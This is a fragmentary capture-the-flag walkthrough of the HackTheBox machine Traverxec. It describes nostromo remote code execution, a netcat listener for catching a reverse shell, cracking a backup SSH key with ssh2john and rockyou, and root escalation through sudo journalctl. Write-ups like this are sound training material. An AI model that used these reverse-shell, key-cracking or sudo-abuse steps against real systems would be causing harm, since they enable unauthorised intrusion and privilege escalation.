Traverxec is a 20 pts box on HackTheBox and it is rated as “Easy”. It has a web server running called nostromo. This version of nostromo is vulnerable to Remote Code Execution. By abusing this vulnerability, an attacker was able to access to the webserver. There are some backup files that allows initial access on the box. The user is able to run journalctl as root and it allows elevation of privileges.
# On another terminal nc -nvlp 9001 python -c 'import pty; pty.spawn("/bin/bash)'
Elevating to david
Analyzing nostromo’s config files(/var/nostromo/conf/nhttpd.conf) shows us that david is the server admin and /home/david/public_www is the home directory
By simple changing directory there, we see some juicy backup files.
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www-data@traverxec:/home/david/public_www/protected-file-area$ ls -alh ls -alh total 16K drwxr-xr-x 2 david david 4.0K Oct 25 17:02 . drwxr-xr-x 3 david david 4.0K Oct 25 15:45 .. -rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess -rw-r--r-- 1 david david 1.9K Oct 25 17:02 backup-ssh-identity-files.tgz
Cracking ssh key
Backup file contains a ssh key that belongs to david@traverxec.htb and it is crackable with rockyou.txt
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λ ~/Desktop/htb/machines/traverxec/home/david/.ssh /usr/share/john/ssh2john.py id_rsa | tee hash id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
Last line of the script tells us that david can run /usr/bin/journalctl with sudo. I verified it by checking it too /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
Doing a simple research on journalctl shows that we can elevate our privileges abusing it